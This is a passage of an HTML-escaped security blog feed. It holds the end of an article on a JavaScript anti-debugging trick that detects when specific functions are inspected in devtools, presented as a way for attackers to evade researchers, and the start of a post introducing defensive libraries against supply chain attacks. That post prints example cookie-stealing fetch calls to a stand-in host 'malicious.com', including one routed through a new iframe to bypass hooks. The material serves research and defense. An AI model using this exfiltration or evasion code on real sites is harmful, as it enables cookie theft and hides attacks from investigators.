                    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;callargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                            &lt;span class=&quot;nx&quot;&gt;same&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;same&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// fire &quot;function is being debugged&quot; event&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;callargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;callstack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;onFunctionDebugged&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
                    &lt;span class=&quot;na&quot;&gt;function_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;na&quot;&gt;function_arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;na&quot;&gt;first_timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;firstDebugTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;na&quot;&gt;last_timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/*
step in / out / over any function you want starting at this point
*/&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;svn_io379w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;initTracker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;svn_io379w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;initTracker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/2-1.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-a-hrefhttpsdebug-trackeruerappspotcomdebug-tracker-demo-sitea&quot;&gt;The &lt;a href=&quot;https://debug-tracker.ue.r.appspot.com/&quot;&gt;debug-tracker-demo-site&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I also created a user friendly website where you can load any (small) external javascript resources and get them wrapped by the debug-tracker and loaded in the website, so you can debug it as you wish and will be presented with the flow of debugging you made (whether you stepped in or out of a function) at the end of the session.
It knows how to handle async situations as well, and can handle recursion too (as long as the arguments that are passed to the same function are different from before).&lt;/p&gt;
&lt;p&gt;It is up and running, and it already has a few demo scripts for you to play around with in case you can’t come up with an example of a javascript code for you to investigate. This is the result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/2-2.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;real-life-use-cases&quot;&gt;Real life use cases&lt;/h3&gt;
&lt;p&gt;So by using this ability in the manner presented above, I was actually able to create an extremely strong anti debugging technique for browsers that uses chromium’s devtools, which allows me &lt;strong&gt;not only to tell when the devtools are open, but to specifically monitor and protect specific scopes and functions from being inspected&lt;/strong&gt;. This can be very helpful to attackers in many ways.&lt;/p&gt;
&lt;p&gt;When it comes to attacking victims through the web, there are a few challenges that an attacker has to cope with.
The hardest one would probably be “luring the victims to their web”, which is basically getting them to click a link, or visit their malicious website unintentionally. being able to get victims to your court is one of the biggest challenges in offensive security.&lt;/p&gt;
&lt;p&gt;Once this challenge is passed by the attacker and they managed to execute their malicious code in the victim’s browser, another big challenge that the attacker has to cope with is to keep silent and make sure the attack is undetectable and untraceable.
&lt;strong&gt;This in my opinion should be one of the most important aspects attackers should pay attention to when constructing an attacking system&lt;/strong&gt; (and I can assure you that governments level attackers most certainty do). As many resources and effort attackers put into their attacking system, the more they’ll wish to protect it and make sure it stays undercover. Otherwise, being careless will (and had in the past) result in all of those resources and effort going down the drain, which is a hard blow to recover from.&lt;/p&gt;
&lt;p&gt;Attackers can take their products to the next level by using sophisticated anti debugging tricks, such as the one I presented in the &lt;a href=&quot;https://weizman.github.io/page-js-anti-debug-1/&quot;&gt;first part&lt;/a&gt; of this article, or such as the one presented in this part of the article.&lt;/p&gt;
&lt;p&gt;By using this trick and protect specific sensitive functions when are being debugged (by either getting the devtools stuck, changing top level javascript objects in order to mess with the flow of code afterwards, or anything else really), instead of general devtools protection, &lt;strong&gt;attackers can make their anti debugging protection more precise and their rate of success higher by making sure to bail on the attack only when truly are in danger of being uncovered&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This, as said, can take the quality of attacking products to another level.&lt;/p&gt;
&lt;h3 id=&quot;emwhy-do-you-talk-about-anti-debugging-techniques-all-the-time-youre-like-the-only-one-who-cares-about-this-so-muchem&quot;&gt;&lt;em&gt;Why do you talk about anti debugging techniques all the time? You’re like the only one who cares about this so much!&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;This question will be fully answered in the next non-technical article I am planning, but the bottom line is that I’m trying to raise awareness to this subject. I see so many web security companies out there talking about the different threats that attackers and defenders have to deal with, but no one talks about this part, maybe because high quality anti debugging techniques were not a thing a few months ago. But with the two techniques I presented as part of this article series I publish, I really believe malicious entities (and other entities too) can hide their behavior much better in the browser and to shake off a very big portion of security researchers from successfully uncovering the true intentions of these entities. This can be a game changer, and as web security experts we need to start thinking in this manner too when researching and working in the field. Otherwise, we’re gonna miss a lot of bad stuff on the web and let a lot of evil pass through the gates. Reshaping even just a little bit the way we approach web security research can help us produce work and findings of higher quality, and this is what I am trying to promote here.&lt;/p&gt;
&lt;h3 id=&quot;to-sum-up&quot;&gt;To sum up&lt;/h3&gt;
&lt;p&gt;I will repeat what I wrote in the &lt;a href=&quot;https://weizman.github.io/page-js-anti-debug-1/&quot;&gt;first part&lt;/a&gt; of this article:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;As someone who has experienced the world of web security and hacking quite a lot in my military service, I can tell you that this trick right here will take the game to the next level if used correctly.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Revealing malicious activity in the browser is much harder for researchers when there are actions made by the attacker that take place in the browser without the researcher being able to tell that they even happened!&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Correctly implementing this trick into an attacking exploit kit will significantly reduce the chances of being uncovered by researchers (maybe not so much though, now that this article is publicly published) by basically filtering those out of the way and only attacking the innocents.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;This trick can of course be very helpful not only to attackers but to other entities as well (such as big companies who want to alter their code when it is being investigated by researchers for example).&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;hope-you-guys-enjoyed-this---spread-the-word&quot;&gt;Hope you guys enjoyed this - Spread The Word!&lt;/h3&gt;
&lt;p&gt;This research was conducted and published by &lt;a href=&quot;/page-about&quot;&gt;Gal Weizman&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>My contribution attempt to the browser javascript supply chain attack problem</title>
   <link href="https://weizman.github.io//2021/07/18/securely-snow-across/"/>
   <updated>2021-07-18T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2021/07/18/securely-snow-across</id>
   <content type="html">&lt;h2 id=&quot;introducing-securely--snow--and-across-&quot;&gt;Introducing Securely 🔒, Snow ❄️ and Across ↔&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;tl;dr - Today I share my “side project” for the past year, three browser javascript security libraries that aim to perform as
tools for creating web apps that are more resilient to and limiting of unwanted code execution such as XSS and javascript supply chain attacks:&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;a-hrefhttpsgithubcomlavamoatacrossacross-a&quot;&gt;&lt;a href=&quot;https://github.com/lavamoat/across&quot;&gt;Across ↔&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Across standard allows different scripts within the same web application to communicate with each other by passing messages between one another securely.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://lavamoat.github.io/across/demo/&quot;&gt;🎬 Live Demo&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/across/wiki/Introducing-Across#across-technically-explained&quot;&gt;📖 Technical explanation&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/across#install&quot;&gt;⚙️ Installation and usage&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/across&quot;&gt;👩🏽‍💻 Source Code&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/across/wiki/Introducing-Across&quot;&gt;💪🏻 Motivation behind this project&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;a-hrefhttpsgithubcomlavamoatsnowsnow-a&quot;&gt;&lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow ❄️&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Snow aspires to standardize how to recursively own newborn windows within a browser webpage, from the context of the webpage itself.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://lavamoat.github.io/snow/demo/&quot;&gt;🎬 Live Demo&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/snow/wiki/Introducing-Snow#why-snow-solves-a-non-trivial-problem&quot;&gt;📖 Technical explanation&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/snow#usage&quot;&gt;⚙️ Installation and usage&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;👩🏽‍💻 Source Code&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/snow/wiki/Introducing-Snow&quot;&gt;💪🏻 Motivation behind this project&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;a-hrefhttpsgithubcomlavamoatsecurelysecurely-a&quot;&gt;&lt;a href=&quot;https://github.com/lavamoat/securely&quot;&gt;Securely 🔒&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Securely allows you to call native APIs using their original behaviour even if they were tampered within the web app.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://lavamoat.github.io/securely/demo/&quot;&gt;🎬 Live Demo&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/securely#securely-technically-explained-whats-the-s-suffix-for&quot;&gt;📖 Technical explanation&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/securely#usage&quot;&gt;⚙️ Installation and usage&lt;/a&gt; |
&lt;a href=&quot;https://github.com/lavamoat/securely&quot;&gt;👩🏽‍💻 Source Code&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Across&lt;/code&gt; is built on top of &lt;code&gt;Snow&lt;/code&gt;. Both &lt;code&gt;Across&lt;/code&gt; and &lt;code&gt;Snow&lt;/code&gt; are built on top of &lt;code&gt;Securely&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;⚠️ These technologies are currently experimental!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-a-hrefhttpswwwgooglecomsearchqjavascriptwebsitesupplychainattacksupply-chain-attacksa-problem&quot;&gt;The &lt;a href=&quot;https://www.google.com/search?q=javascript+website+supply+chain+attack&quot;&gt;Supply Chain Attacks&lt;/a&gt; Problem&lt;/h2&gt;
&lt;p&gt;In general, the ability to execute unwanted code within a website is still a major problem.
Doing so with XSS is less common these days, but with infection of the supply chain of web apps which is a rising issue, it’s still very much possible.&lt;/p&gt;
&lt;p&gt;To prevent such attacks, there are many different areas to defend.
In my attempt, I focus on the real time prevention in the browser.
Or in other words, what can attackers do once they successfully run within the website in the browser, and what I can do to make it harder for them?&lt;/p&gt;
&lt;h3 id=&quot;a-hrefhttpsgithubcomlavamoatsnowsnow-a-1&quot;&gt;&lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow ❄️&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Snow intercepts every possible way of creating a new iframe, and grants you first access to its window, even before the creator of that iframe.
In this &lt;a href=&quot;https://lavamoat.github.io/snow/demo/&quot;&gt;DEMO CTF&lt;/a&gt; I use Snow to disable access to &lt;code&gt;alert&lt;/code&gt; API - think you can bypass Snow and pop an alert?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://s4.gifyu.com/images/Screen-Recording-2022-08-07-at-17.39.25.gif&quot; alt=&quot;Snow DEMO CTF&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lack of full control over iFrames is a major enabler for successfully carrying supply chain attacks.
To be more precise, let’s get into the attackers shoes:&lt;/p&gt;
&lt;p&gt;Assuming we already successfully breached the supply chain of a web app and we use our code execution to steal information and exfiltrate it
using &lt;code&gt;fetch&lt;/code&gt; API:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://malicious.com/steal/cookies?data=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;As a defender, I can hook &lt;code&gt;fetch&lt;/code&gt; to block or at least log such attempt and by that potentially uncover such malicious activity in the website:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;realFetch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arg1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;fetch activity logged, might be an attacker&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;realFetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There are already third party vendors that offer security services to websites against supply chain attacks by hooking sensitive
APIs in the website (just like attackers do) in order to track their usage and discover malicious activity.&lt;/p&gt;
&lt;p&gt;The problem with that approach is &lt;code&gt;iframes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When creating a new &lt;code&gt;iframe&lt;/code&gt;, a new &lt;code&gt;window&lt;/code&gt; is attached to it, with all the usual APIs the top window exposes.
So if such a security vendor hooks &lt;code&gt;fetch&lt;/code&gt; API to catch attackers, the attackers can easily avoid that hook by creating
a new iframe and pulling out of there a brand new &lt;code&gt;fetch&lt;/code&gt; API:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://malicious.com/steal/cookies?data=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;By granting the defender the very first right of execution on every new iframe that
